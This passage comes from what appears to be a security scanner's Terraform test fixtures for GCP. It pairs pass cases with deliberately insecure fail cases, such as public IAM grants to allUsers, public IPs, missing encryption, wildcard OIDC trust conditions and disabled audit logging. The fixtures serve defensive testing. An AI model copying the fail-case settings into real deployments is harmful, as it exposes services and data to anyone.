    "content": "resource \"google_data_fusion_instance\" \"pass\" {\n  project                       = \"examplea\"\n  provider                      = google-beta\n  name                          = \"my-instance\"\n  description                   = \"My Data Fusion instance\"\n  region                        = \"us-central1\"\n  type                          = \"BASIC\"\n   enable_stackdriver_logging    = true\n   enable_stackdriver_monitoring = true\n  labels = {\n    example_key = \"example_value\"\n  }\n  //private_instance = false\n  network_config {\n    network       = \"default\"\n    ip_allocation = \"10.89.48.0/22\"\n  }\n  version                  = \"6.3.0\"\n  dataproc_service_account = data.google_app_engine_default_service_account.default.email\n}\nresource \"google_data_fusion_instance\" \"fail\" {\n  project                       = \"examplea\"\n  provider                      = google-beta\n  name                          = \"my-instance\"\n  description                   = \"My Data Fusion instance\"\n  region                        = \"us-central1\"\n  type                          = \"BASIC\"\n  labels = {\n    example_key = \"example_value\"\n  }\n  //private_instance = false\n  network_config {\n    network       = \"default\"\n    ip_allocation = \"10.89.48.0/22\"\n  }\n  version                  = \"6.3.0\"\n  dataproc_service_account = data.google_app_engine_default_service_account.default.email\n}\nresource \"google_data_fusion_instance\" \"fail2\" {\n  project                       = \"examplea\"\n  provider                      = google-beta\n  name                          = \"my-instance\"\n  description                   = \"My Data Fusion instance\"\n  region                        = \"us-central1\"\n  type                          = \"BASIC\"\n   enable_stackdriver_logging    = false\n   enable_stackdriver_monitoring = false\n  labels = {\n    example_key = \"example_value\"\n  }\n  //private_instance = false\n  network_config {\n    network       = \"default\"\n    ip_allocation = \"10.89.48.0/22\"\n  }\n  version                  = \"6.3.0\"\n  dataproc_service_account = data.google_app_engine_default_service_account.default.email\n}"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_DataflowJobEncryptedWithCMK/main.tf",
    "content": "resource \"google_dataflow_job\" \"fail\" {\n  name              = \"dataflow-job\"\n  template_gcs_path = \"gs://my-bucket/templates/template_file\"\n  temp_gcs_location = \"gs://my-bucket/tmp_dir\"\n  parameters = {\n    foo = \"bar\"\n    baz = \"qux\"\n  }\n  #   kms_key_name =\n}\n\nresource \"google_dataflow_job\" \"pass\" {\n  name              = \"dataflow-job\"\n  template_gcs_path = \"gs://my-bucket/templates/template_file\"\n  temp_gcs_location = \"gs://my-bucket/tmp_dir\"\n  parameters = {\n    foo = \"bar\"\n    baz = \"qux\"\n  }\n  kms_key_name = \"SecretSquirrel\"\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_DataflowPrivateJob/main.tf",
    "content": "\n# Passes due to ip_configuration\" existing and set to private\nresource \"google_dataflow_job\" \"pass\" {\n  name              = \"my-pass-job\"\n  template_gcs_path = \"gs://my-bucket/templates/template_file\"\n  temp_gcs_location = \"gs://my-bucket/tmp_dir\"\n  parameters = {\n    foo = \"bar\"\n    baz = \"qux\"\n  }\n\n  ip_configuration = \"WORKER_IP_PRIVATE\"\n}\n\n\n# Fails due to \"ip_configuration\" not existing\n# Dataflow jobs are public by default\nresource \"google_dataflow_job\" \"fail1\" {\n  name              = \"my-fail-job1\"\n  template_gcs_path = \"gs://my-bucket/templates/template_file\"\n  temp_gcs_location = \"gs://my-bucket/tmp_dir\"\n  parameters = {\n    foo = \"bar\"\n    baz = \"qux\"\n  }\n\n}\n\n# Fails due to \"ip_configuration\" existing but set to public\nresource \"google_dataflow_job\" \"fail2\" {\n  name              = \"my-fail-job2\"\n  template_gcs_path = \"gs://my-bucket/templates/template_file\"\n  temp_gcs_location = \"gs://my-bucket/tmp_dir\"\n  parameters = {\n    foo = \"bar\"\n    baz = \"qux\"\n  }\n\n  ip_configuration = \"WORKER_IP_PUBLIC\"\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_DataprocClusterEncryptedWithCMK/main.tf",
    "content": "resource \"google_dataproc_cluster\" \"fail\" {\n  name   = \"simplecluster\"\n  region = \"us-central1\"\n  cluster_config {\n    # encryption_config{\n    #   kms_key_name=\"SecretSquirrel\"\n    # }\n  }\n}\n\nresource \"google_dataproc_cluster\" \"pass\" {\n  name   = \"simplecluster\"\n  region = \"us-central1\"\n  cluster_config {\n     encryption_config{\n       kms_key_name=\"SecretSquirrel\"\n     }\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_DataprocPrivateCluster/main.tf",
    "content": "################\n## PASS TESTS ##\n################\n\nresource \"google_dataproc_cluster_iam_binding\" \"pass1\" {\n  cluster = \"my-private-cluster-binding1\"\n  role    = \"roles/dataproc.serviceAgent\"\n  members = [\n    \"user:jane@example.com\",\n    \"group:mygroup@example.com\",\n  ]\n}\n\nresource \"google_dataproc_cluster_iam_binding\" \"pass2\" {\n  cluster = \"my-private-cluster-binding2\"\n  role    = \"roles/dataproc.viewer\"\n  members = [\n    \"user:jason@example.com\",\n  ]\n}\n\nresource \"google_dataproc_cluster_iam_member\" \"pass1\" {\n  cluster = \"my-private-cluster-member1\"\n  role    = \"roles/dataproc.worker\"\n  member  = \"group:mygroup@example.com\"\n}\n\nresource \"google_dataproc_cluster_iam_member\" \"pass2\" {\n  cluster = \"my-private-cluster-member2\"\n  role    = \"roles/dataproc.editor\"\n  member  = \"domain:example.com\"\n}\n\n\n################\n## FAIL TESTS ##\n################\n\nresource \"google_dataproc_cluster_iam_binding\" \"fail1\" {\n  cluster = \"my-public-cluster-binding1\"\n  role    = \"roles/dataproc.hubAgent\"\n  members = [\n    \"allAuthenticatedUsers\",\n  ]\n}\n\nresource \"google_dataproc_cluster_iam_binding\" \"fail2\" {\n  cluster = \"my-public-cluster-binding2\"\n  role    = \"roles/dataproc.editor\"\n  members = [\n    \"allUsers\",\n  ]\n}\n\nresource \"google_dataproc_cluster_iam_binding\" \"fail3\" {\n  cluster = \"my-public-cluster-binding3\"\n  role    = \"roles/dataproc.editor\"\n  members = [\n    \"allUsers\",\n    \"user:jason@example.com\",\n  ]\n}\n\nresource \"google_dataproc_cluster_iam_binding\" \"fail4\" {\n  cluster = \"my-public-cluster-binding4\"\n  role    = \"roles/dataproc.editor\"\n  members = [\n    \"user:jason@example.com\",\n    \"allUsers\",\n  ]\n}\n\nresource \"google_dataproc_cluster_iam_member\" \"fail1\" {\n  cluster = \"my-public-cluster-member1\"\n  role    = \"roles/dataproc.admin\"\n  member  = \"allAuthenticatedUsers\"\n}\n\nresource \"google_dataproc_cluster_iam_member\" \"fail2\" {\n  cluster = \"my-public-cluster-member2\"\n  role    = \"roles/editor\"\n  member  = \"allUsers\"\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_DataprocPublicIpCluster/main.tf",
    "content": "\nresource \"google_dataproc_cluster\" \"pass1\" {\n  name   = \"my-pass-cluster\"\n  region = \"us-central1\"\n\n  cluster_config {\n    gce_cluster_config {\n      zone = \"us-central1-a\"\n      # no public IPs\n      internal_ip_only = true\n    }\n\n    master_config {\n      accelerators {\n        accelerator_type  = \"nvidia-tesla-k80\"\n        accelerator_count = \"1\"\n      }\n    }\n  }\n}\n\n\nresource \"google_dataproc_cluster\" \"fail1\" {\n  name   = \"my-fail1-cluster\"\n  region = \"us-central1\"\n\n  cluster_config {\n    gce_cluster_config {\n      zone = \"us-central1-a\"\n      # \"internal_ip_only\" does not exist\n      # and the default is public IPs\n    }\n\n    master_config {\n      accelerators {\n        accelerator_type  = \"nvidia-tesla-k80\"\n        accelerator_count = \"1\"\n      }\n    }\n  }\n}\n\nresource \"google_dataproc_cluster\" \"fail2\" {\n  name   = \"my-fail2-cluster\"\n  region = \"us-central1\"\n\n  cluster_config {\n    gce_cluster_config {\n      zone = \"us-central1-a\"\n      # \"internal_ip_only\" exists but it is set to false\n      # public IPs are assigned\n      internal_ip_only = false\n    }\n\n    master_config {\n      accelerators {\n        accelerator_type  = \"nvidia-tesla-k80\"\n        accelerator_count = \"1\"\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_GCPCloudRunPrivateService/main.tf",
    "content": "################\n## PASS TESTS ##\n################\n\nresource \"google_cloud_run_service_iam_binding\" \"pass1\" {\n  location = google_cloud_run_service.default.location\n  service = google_cloud_run_service.default.name\n  role = \"roles/viewer\"\n  members = [\n    \"user:jane@example.com\",\n    \"group:mygroup@example.com\",\n  ]\n}\n\nresource \"google_cloud_run_service_iam_binding\" \"pass2\" {\n  location = google_cloud_run_service.default.location\n  service = google_cloud_run_service.default.name\n  role = \"roles/viewer\"\n  members = [\n    \"user:jason@example.com\",\n  ]\n}\n\nresource \"google_cloud_run_service_iam_member\" \"pass1\" {\n  location = google_cloud_run_service.default.location\n  service = google_cloud_run_service.default.name\n  role = \"roles/viewer\"\n  member = \"user:jane@example.com\"\n}\n\nresource \"google_cloud_run_service_iam_member\" \"pass2\" {\n  location = google_cloud_run_service.default.location\n  service = google_cloud_run_service.default.name\n  role = \"roles/viewer\"\n  member = \"domain:example.com\"\n}\n\n################\n## FAIL TESTS ##\n################\n\nresource \"google_cloud_run_service_iam_binding\" \"fail1\" {\n  location = google_cloud_run_service.default.location\n  service = google_cloud_run_service.default.name\n  role = \"roles/viewer\"\n  members = [\n    \"allAuthenticatedUsers\",\n  ]\n}\n\nresource \"google_cloud_run_service_iam_binding\" \"fail2\" {\n  location = google_cloud_run_service.default.location\n  service = google_cloud_run_service.default.name\n  role = \"roles/viewer\"\n  members = [\n    \"allUsers\",\n  ]\n}\n\nresource \"google_cloud_run_service_iam_binding\" \"fail3\" {\n  location = google_cloud_run_service.default.location\n  service = google_cloud_run_service.default.name\n  role = \"roles/viewer\"\n  members = [\n    \"allUsers\",\n    \"user:jason@example.com\",\n  ]\n}\n\nresource \"google_cloud_run_service_iam_binding\" \"fail4\" {\n  location = google_cloud_run_service.default.location\n  service = google_cloud_run_service.default.name\n  role = \"roles/viewer\"\n  members = [\n    \"user:jason@example.com\",\n    \"allAuthenticatedUsers\",\n  ]\n}\n\nresource \"google_cloud_run_service_iam_binding\" \"fail5\" {\n  location = google_cloud_run_service.default.location\n  service = google_cloud_run_service.default.name\n  role = \"roles/viewer\"\n  members = [\n    \"user:jason@example.com\",\n    \"allAuthenticatedUsers\",\n    \"domain:example.com\",\n  ]\n}\n\nresource \"google_cloud_run_service_iam_member\" \"fail1\" {\n  location = google_cloud_run_service.default.location\n  service = google_cloud_run_service.default.name\n  role = \"roles/viewer\"\n  member  = \"allAuthenticatedUsers\"\n}\n\nresource \"google_cloud_run_service_iam_member\" \"fail2\" {\n  location = google_cloud_run_service.default.location\n  service = google_cloud_run_service.default.name\n  role = \"roles/viewer\"\n  member  = \"allUsers\"\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_GKEDontUseNodePools/main.tf",
    "content": "resource \"google_container_cluster\" \"pass\" {\n  name               = \"marcellus-wallace\"\n  location           = \"us-central1-a\"\n  initial_node_count = 3\n  node_config {\n    # Google recommends custom service accounts that have cloud-platform scope and permissions granted via IAM Roles.\n    service_account = google_service_account.default.email\n    oauth_scopes = [\n      \"https://www.googleapis.com/auth/cloud-platform\"\n    ]\n    labels = {\n      foo = \"bar\"\n    }\n    tags = [\"foo\", \"bar\"]\n  }\n  timeouts {\n    create = \"30m\"\n    update = \"40m\"\n  }\n}\n\nresource \"google_container_cluster\" \"fail\" {\n  name               = \"theDude\"\n  location           = \"us-central1-a\"\n  initial_node_count = 3\n\n  node_pool {\n    node_config {\n      # Google recommends custom service accounts that have cloud-platform scope and permissions granted via IAM Roles.\n      service_account = google_service_account.default.email\n      oauth_scopes = [\n        \"https://www.googleapis.com/auth/cloud-platform\"\n      ]\n      labels = {\n        foo = \"bar\"\n      }\n      tags = [\"foo\", \"bar\"]\n    }\n  }\n\n  timeouts {\n    create = \"30m\"\n    update = \"40m\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_GKENetworkPolicyEnabled/main.tf",
    "content": "resource \"google_container_cluster\" \"fail\" {\n  name = \"google_cluster\"\n  network_policy {\n    enabled = false\n  }\n}\n\n\nresource \"google_container_cluster\" \"pass\" {\n  name = \"google_cluster\"\n  network_policy {\n    enabled = true\n  }\n}\n\nresource \"google_container_cluster\" \"pass2\" {\n  name              = \"google_cluster\"\n  datapath_provider = \"ADVANCED_DATAPATH\"\n  network_policy {\n    enabled = false\n  }\n}\n\nresource \"google_container_cluster\" \"fail2\" {\n  name              = \"google_cluster\"\n  datapath_provider = \"DATAPATH_PROVIDER_UNSPECIFIED\"\n  network_policy {\n    enabled = false\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_GKEPodSecurityPolicyEnabled/main.tf",
    "content": "resource \"google_container_cluster\" \"unknown\" {\n}\n\nresource \"google_container_cluster\" \"unknown2\" {\n  min_master_version = \"1.27\"\n}\n\n\nresource \"google_container_cluster\" \"pass\" {\n  min_master_version = \"1.24\"\n  pod_security_policy_config {\n    enabled = true\n  }\n}\n\nresource \"google_container_cluster\" \"fail\" {\n  min_master_version = \"1.24\"\n}\n\nresource \"google_container_cluster\" \"fail2\" {\n  min_master_version = \"1.24\"\n    pod_security_policy_config {\n    enabled = false\n  }\n}\n\nresource \"google_container_cluster\" \"unknown3\" {\n  min_master_version = \"not_a_float\"\n    pod_security_policy_config {\n    enabled = false\n  }\n}\n\n\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_GKEUseCosImage/main.tf",
    "content": "\nresource \"google_container_node_pool\" \"fail\" {\n  autoscaling {\n    max_node_count = \"4\"\n    min_node_count = \"1\"\n  }\n\n  cluster            = google_container_cluster.tfer.name\n  initial_node_count = \"2\"\n  location           = \"us-west1\"\n\n  management {\n    auto_repair  = \"true\"\n    auto_upgrade = \"true\"\n  }\n\n  max_pods_per_node = \"110\"\n  name              = \"async-pool-2\"\n\n  node_config {\n    disk_size_gb = \"400\"\n    disk_type    = \"pd-ssd\"\n    image_type   = \"SomethingElse\"\n\n    labels = {\n      async = \"true\"\n    }\n\n    local_ssd_count = \"0\"\n    machine_type    = \"custom-32-65536\"\n\n    metadata = {\n      async                    = \"true\"\n      disable-legacy-endpoints = \"true\"\n    }\n\n    oauth_scopes    = [\"https://www.googleapis.com/auth/cloud-platform\"]\n    preemptible     = \"false\"\n    service_account = \"default\"\n\n    shielded_instance_config {\n      enable_integrity_monitoring = \"true\"\n      enable_secure_boot          = \"true\"\n    }\n  }\n\n  node_count     = \"1\"\n  node_locations = [\"us-west1-b\", \"us-west1-a\"]\n  project        = \"test-project\"\n\n  upgrade_settings {\n    max_surge       = \"1\"\n    max_unavailable = \"0\"\n  }\n\n  version = \"1.14.10-gke.36\"\n  zone    = \"us-west1\"\n}\n\n\nresource \"google_container_node_pool\" \"pass\" {\n  autoscaling {\n    max_node_count = \"4\"\n    min_node_count = \"1\"\n  }\n\n  cluster            = google_container_cluster.tfer.name\n  initial_node_count = \"2\"\n  location           = \"us-west1\"\n\n  management {\n    auto_repair  = \"true\"\n    auto_upgrade = \"true\"\n  }\n\n  max_pods_per_node = \"110\"\n  name              = \"async-pool-2\"\n\n  node_config {\n    disk_size_gb = \"400\"\n    disk_type    = \"pd-ssd\"\n    image_type   = \"COS\"\n\n    labels = {\n      async = \"true\"\n    }\n\n    local_ssd_count = \"0\"\n    machine_type    = \"custom-32-65536\"\n\n    metadata = {\n      async                    = \"true\"\n      disable-legacy-endpoints = \"true\"\n    }\n\n    oauth_scopes    = [\"https://www.googleapis.com/auth/cloud-platform\"]\n    preemptible     = \"false\"\n    service_account = \"default\"\n\n    shielded_instance_config {\n      enable_integrity_monitoring = \"true\"\n      enable_secure_boot          = \"true\"\n    }\n  }\n\n  node_count     = \"1\"\n  node_locations = [\"us-west1-b\", \"us-west1-a\"]\n  project        = \"test-project\"\n\n  upgrade_settings {\n    max_surge       = \"1\"\n    max_unavailable = \"0\"\n  }\n\n  version = \"1.14.10-gke.36\"\n  zone    = \"us-west1\"\n}\n\nresource \"google_container_node_pool\" \"unknown\" {\n  autoscaling {\n    max_node_count = \"4\"\n    min_node_count = \"1\"\n  }\n\n  cluster            = google_container_cluster.tfer.name\n  initial_node_count = \"2\"\n  location           = \"us-west1\"\n\n  management {\n    auto_repair  = \"true\"\n    auto_upgrade = \"true\"\n  }\n\n  max_pods_per_node = \"110\"\n  name              = \"async-pool-2\"\n\n  node_config {\n    disk_size_gb = \"400\"\n    disk_type    = \"pd-ssd\"\n\n    labels = {\n      async = \"true\"\n    }\n\n    local_ssd_count = \"0\"\n    machine_type    = \"custom-32-65536\"\n\n    metadata = {\n      async                    = \"true\"\n      disable-legacy-endpoints = \"true\"\n    }\n\n    oauth_scopes    = [\"https://www.googleapis.com/auth/cloud-platform\"]\n    preemptible     = \"false\"\n    service_account = \"default\"\n\n    shielded_instance_config {\n      enable_integrity_monitoring = \"true\"\n      enable_secure_boot          = \"true\"\n    }\n  }\n\n  node_count     = \"1\"\n  node_locations = [\"us-west1-b\", \"us-west1-a\"]\n  project        = \"test-project\"\n\n  upgrade_settings {\n    max_surge       = \"1\"\n    max_unavailable = \"0\"\n  }\n\n  version = \"1.25.10-gke.36\"\n  zone    = \"us-west1\"\n}\n\n\nresource \"google_container_node_pool\" \"unknown2\" {\n  autoscaling {\n    max_node_count = \"4\"\n    min_node_count = \"1\"\n  }\n\n  cluster            = google_container_cluster.tfer.name\n  initial_node_count = \"2\"\n  location           = \"us-west1\"\n\n  management {\n    auto_repair  = \"true\"\n    auto_upgrade = \"true\"\n  }\n\n  max_pods_per_node = \"110\"\n  name              = \"async-pool-2\"\n\n  node_config {\n    disk_size_gb = \"400\"\n    disk_type    = \"pd-ssd\"\n\n    labels = {\n      async = \"true\"\n    }\n\n    local_ssd_count = \"0\"\n    machine_type    = \"custom-32-65536\"\n\n    metadata = {\n      async                    = \"true\"\n      disable-legacy-endpoints = \"true\"\n    }\n\n    oauth_scopes    = [\"https://www.googleapis.com/auth/cloud-platform\"]\n    preemptible     = \"false\"\n    service_account = \"default\"\n\n    shielded_instance_config {\n      enable_integrity_monitoring = \"true\"\n      enable_secure_boot          = \"true\"\n    }\n  }\n\n  node_count     = \"1\"\n  node_locations = [\"us-west1-b\", \"us-west1-a\"]\n  project        = \"test-project\"\n\n  upgrade_settings {\n    max_surge       = \"1\"\n    max_unavailable = \"0\"\n  }\n\n  version = lookup(each.value,\"auto_upgrade\",True) ? \"\" : lookup(each.value,\"version\",latest)\n  zone    = \"us-west1\"\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_GithubActionsOIDCTrustPolicy/main.tf",
    "content": "# pass1 - Basic valid configuration\nresource \"google_iam_workload_identity_pool_provider\" \"pass1\" {\n  workload_identity_pool_id          = \"example-pool\"\n  workload_identity_pool_provider_id = \"example-provider-1\"\n  display_name                       = \"GitHub Actions Provider\"\n  description                        = \"OIDC identity pool provider for GitHub Actions gggg\"\n  disabled                          = false\n  attribute_mapping                 = {\n    \"google.subject\"       = \"assertion.sub\"\n    \"attribute.repository\" = \"assertion.repository\"\n  }\n  attribute_condition               = \"assertion.sub == 'repo:myOrg/myRepo:*'\"\n  oidc {\n    issuer_uri                       = \"https://token.actions.githubusercontent.com\"\n  }\n}\n\n# pass2 - Valid configuration with specific branch reference\nresource \"google_iam_workload_identity_pool_provider\" \"pass2\" {\n  workload_identity_pool_id          = \"example-pool\"\n  workload_identity_pool_provider_id = \"example-provider-2\"\n  attribute_mapping                 = {\n    \"google.subject\"       = \"assertion.sub\"\n  }\n  attribute_condition               = \"assertion.sub == 'repo:myOrg/myRepo:ref:refs/heads/main'\"\n  oidc {\n    issuer_uri                       = \"https://token.actions.githubusercontent.com\"\n  }\n}\n\n# pass3 - Valid configuration with double equals\nresource \"google_iam_workload_identity_pool_provider\" \"pass3\" {\n  workload_identity_pool_id          = \"example-pool\"\n  workload_identity_pool_provider_id = \"example-provider-3\"\n  attribute_mapping                 = {\n    \"google.subject\"       = \"assertion.sub\"\n  }\n  attribute_condition               = \"assertion.sub == 'repo:myOrg/myRepo:ref:refs/heads/main'\"\n  oidc {\n    issuer_uri                       = \"https://token.actions.githubusercontent.com\"\n  }\n}\n\n# pass4 - Valid configuration with org-only repo pattern\nresource \"google_iam_workload_identity_pool_provider\" \"pass_org_only\" {\n  workload_identity_pool_id          = \"example-pool\"\n  workload_identity_pool_provider_id = \"example-provider-4\"\n  attribute_mapping                 = {\n    \"google.subject\"       = \"assertion.sub\"\n  }\n  attribute_condition               = \"assertion.sub == 'repo:myOrg/valid-repo:*'\"\n  oidc {\n    issuer_uri                       = \"https://token.actions.githubusercontent.com\"\n  }\n}\n\n# fail1 - Missing attribute condition\nresource \"google_iam_workload_identity_pool_provider\" \"fail1\" {\n  workload_identity_pool_id          = \"example-pool\"\n  workload_identity_pool_provider_id = \"example-provider-fail-1\"\n  attribute_mapping                 = {\n    \"google.subject\"       = \"assertion.sub\"\n  }\n  oidc {\n    issuer_uri                       = \"https://token.actions.githubusercontent.com\"\n  }\n}\n\n# fail2 - Invalid claim format\nresource \"google_iam_workload_identity_pool_provider\" \"fail2\" {\n  workload_identity_pool_id          = \"example-pool\"\n  workload_identity_pool_provider_id = \"example-provider-fail-2\"\n  attribute_mapping                 = {\n    \"google.subject\"       = \"assertion.sub\"\n  }\n  attribute_condition               = \"assertion.sub == 'invalid'\"\n  oidc {\n    issuer_uri                       = \"https://token.actions.githubusercontent.com\"\n  }\n}\n\n# fail3 - Wildcard in condition\nresource \"google_iam_workload_identity_pool_provider\" \"fail_wildcard\" {\n  workload_identity_pool_id          = \"example-pool\"\n  workload_identity_pool_provider_id = \"example-provider-fail-3\"\n  attribute_mapping                 = {\n    \"google.subject\"       = \"assertion.sub\"\n  }\n  attribute_condition               = \"assertion.sub == '*'\"\n  oidc{\n   issuer_uri                       = \"https://token.actions.githubusercontent.com\"\n  }\n}\n\n# fail4 - Using abusable claim\nresource \"google_iam_workload_identity_pool_provider\" \"fail_abusable\" {\n  workload_identity_pool_id          = \"example-pool\"\n  workload_identity_pool_provider_id = \"example-provider-fail-4\"\n  attribute_mapping                 = {\n    \"google.subject\"       = \"assertion.sub\"\n  }\n  attribute_condition               = \"assertion.sub == 'workflow:github-actions:repo:myOrg/myRepo:ref:refs/heads/main'\"\n  oidc {\n    issuer_uri                       = \"https://token.actions.githubusercontent.com\"\n  }\n}\n\n# fail5 - Wildcard assertion in repo pattern\nresource \"google_iam_workload_identity_pool_provider\" \"fail_wildcard_assertion\" {\n  workload_identity_pool_id          = \"example-pool\"\n  workload_identity_pool_provider_id = \"example-provider-fail-5\"\n  attribute_mapping                 = {\n    \"google.subject\"       = \"assertion.sub\"\n  }\n  attribute_condition               = \"assertion.sub == 'repo:*'\"\n  oidc {\n    issuer_uri                       = \"https://token.actions.githubusercontent.com\"\n  }\n}\n\n# fail6 - Misused repo pattern\nresource \"google_iam_workload_identity_pool_provider\" \"fail_misused_repo\" {\n  workload_identity_pool_id          = \"example-pool\"\n  workload_identity_pool_provider_id = \"example-provider-fail-6\"\n  attribute_mapping                 = {\n    \"google.subject\"       = \"assertion.sub\"\n  }\n  attribute_condition               = \"assertion.sub == 'repo:myOrg*'\"\n  oidc {\n    issuer_uri                       = \"https://token.actions.githubusercontent.com\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_GoogleBigQueryDatasetPublicACL/main.tf",
    "content": "# pass\n\nresource \"google_bigquery_dataset\" \"pass_special_group\" {\n  dataset_id                  = \"example_dataset\"\n  friendly_name               = \"test\"\n  description                 = \"This is a test description\"\n  location                    = \"US\"\n\n  access {\n    role          = \"READER\"\n    special_group = \"projectReaders\"\n  }\n}\n\nresource \"google_bigquery_dataset\" \"pass_user_by_email\" {\n  dataset_id                  = \"example_dataset\"\n  friendly_name               = \"test\"\n  description                 = \"This is a test description\"\n  location                    = \"US\"\n\n  access {\n    role          = \"EDITOR\"\n    user_by_email = \"foo@bar.com\"\n  }\n}\n\nresource \"google_bigquery_dataset\" \"pass_group_by_email\" {\n  dataset_id                  = \"example_dataset\"\n  friendly_name               = \"test\"\n  description                 = \"This is a test description\"\n  location                    = \"US\"\n\n  access {\n    role           = \"EDITOR\"\n    group_by_email = \"foo-team@bar.com\"\n  }\n}\n\nresource \"google_bigquery_dataset\" \"pass_domain\" {\n  dataset_id                  = \"example_dataset\"\n  friendly_name               = \"test\"\n  description                 = \"This is a test description\"\n  location                    = \"US\"\n\n  access {\n    role   = \"EDITOR\"\n    domain = \"example.com\"\n  }\n}\n\nresource \"google_bigquery_dataset\" \"pass_view\" {\n  dataset_id                  = \"example_dataset\"\n  friendly_name               = \"test\"\n  description                 = \"This is a test description\"\n  location                    = \"US\"\n\n  access {\n    view {\n      dataset_id = \"bar\"\n      project_id = \"foo\"\n      table_id   = \"buzz\"\n    }\n  }\n}\n\nresource \"google_bigquery_dataset\" \"pass_routine\" {\n  dataset_id                  = \"example_dataset\"\n  friendly_name               = \"test\"\n  description                 = \"This is a test description\"\n  location                    = \"US\"\n\n  access {\n    routine {\n      dataset_id = \"bar\"\n      project_id = \"foo\"\n      routineId  = \"buzz\"\n    }\n  }\n}\n\nresource \"google_bigquery_dataset\" \"pass_dataset\" {\n  dataset_id                  = \"example_dataset\"\n  friendly_name               = \"test\"\n  description                 = \"This is a test description\"\n  location                    = \"US\"\n\n  access {\n    dataset {\n      target_types = [\"VIEWS\"]\n      dataset {\n        dataset_id = \"foo\"\n        project_id = \"bar\"\n      }\n    }\n  }\n}\n\n# fail\n\nresource \"google_bigquery_dataset\" \"fail_special_group\" {\n  dataset_id                  = \"example_dataset\"\n  friendly_name               = \"test\"\n  description                 = \"This is a test description\"\n  location                    = \"US\"\n\n  access {\n    role          = \"READER\"\n    special_group = \"allAuthenticatedUsers\"\n  }\n}\n\nresource \"google_bigquery_dataset\" \"fail_all_users\" {\n  dataset_id                  = \"example_dataset\"\n  friendly_name               = \"test\"\n  description                 = \"This is a test description\"\n  location                    = \"US\"\n\n  access {\n    role          = \"VIEWER\"\n    special_group = \"projectReaders\"\n  }\n  access {\n    role = \"READER\"\n  }\n}\n\nresource \"google_bigquery_dataset\" \"fail_new_key\" {\n  dataset_id                  = \"example_dataset\"\n  friendly_name               = \"test\"\n  description                 = \"This is a test description\"\n  location                    = \"US\"\n\n  access {\n    role    = \"READER\"\n    new_key = \"new_value\"  # this test a possible new addition\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_GoogleCloudPostgreSqlEnablePgaudit/main.tf",
    "content": "resource \"google_sql_database_instance\" \"fail\" {\n  database_version = \"POSTGRES_15\"\n  name             = \"general-pos121\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n    database_flags {\n      name  = \"cloudsql.enable_pgaudit\"\n      value = \"off\"\n      bla   = \"blabla\"\n      bla2   = \"blabla2\"\n    }\n    database_flags {\n      name  = \"log_connections\"\n      value = \"off\"\n    }\n    database_flags {\n      name  = \"log_disconnections\"\n      value = \"on\"\n    }\n    pricing_plan = \"PER_USE\"\n\n    tier = \"db-custom-1-3840\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"fail2\" {\n  database_version = \"POSTGRES_15\"\n  name             = \"general-pos121\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n    database_flags {\n      name  = \"log_checkpoints\"\n      value = \"off\"\n    }\n    database_flags {\n      name  = \"log_disconnections\"\n      value = \"on\"\n    }\n    pricing_plan = \"PER_USE\"\n    tier         = \"db-custom-1-3840\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"pass\" {\n  database_version = \"POSTGRES_15\"\n  name             = \"general-pos121\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n    database_flags {\n      name  = \"cloudsql.enable_pgaudit\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"log_disconnections\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"log_min_messages\"\n      value = \"debug6\"\n    }\n    pricing_plan = \"PER_USE\"\n    tier         = \"db-custom-1-3840\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"unknown\" {\n  name             = \"db\"\n  database_version = \"MYSQL_5_6\"\n  region           = \"us-central1\"\n  settings {\n    database_flags {\n      name  = \"local_infile\"\n      value = \"on\"\n    }\n    tier = \"db-custom-1-3840\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_GoogleCloudPostgreSqlLogCheckpoints/main.tf",
    "content": "\nresource \"google_sql_database_instance\" \"fail\" {\n  database_version = \"POSTGRES_12\"\n  name             = \"general-pos121\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n    database_flags {\n      name  = \"log_checkpoints\"\n      value = \"off\"\n    }\n\n    database_flags {\n      name  = \"log_connections\"\n      value = \"off\"\n    }\n    database_flags {\n      name  = \"log_disconnections\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"log_min_messages\"\n      value = \"debug6\"\n    }\n    database_flags {\n      name  = \"log_lock_waits\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"log_temp_files\"\n      value = \"10\"\n    }\n    database_flags {\n      name  = \"log_min_duration_statement\"\n      value = \"1\"\n    }\n    pricing_plan = \"PER_USE\"\n\n    tier = \"db-custom-1-3840\"\n  }\n}\n\n\nresource \"google_sql_database_instance\" \"fail2\" {\n  database_version = \"POSTGRES_12\"\n  name             = \"general-pos121\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n    database_flags {\n      name  = 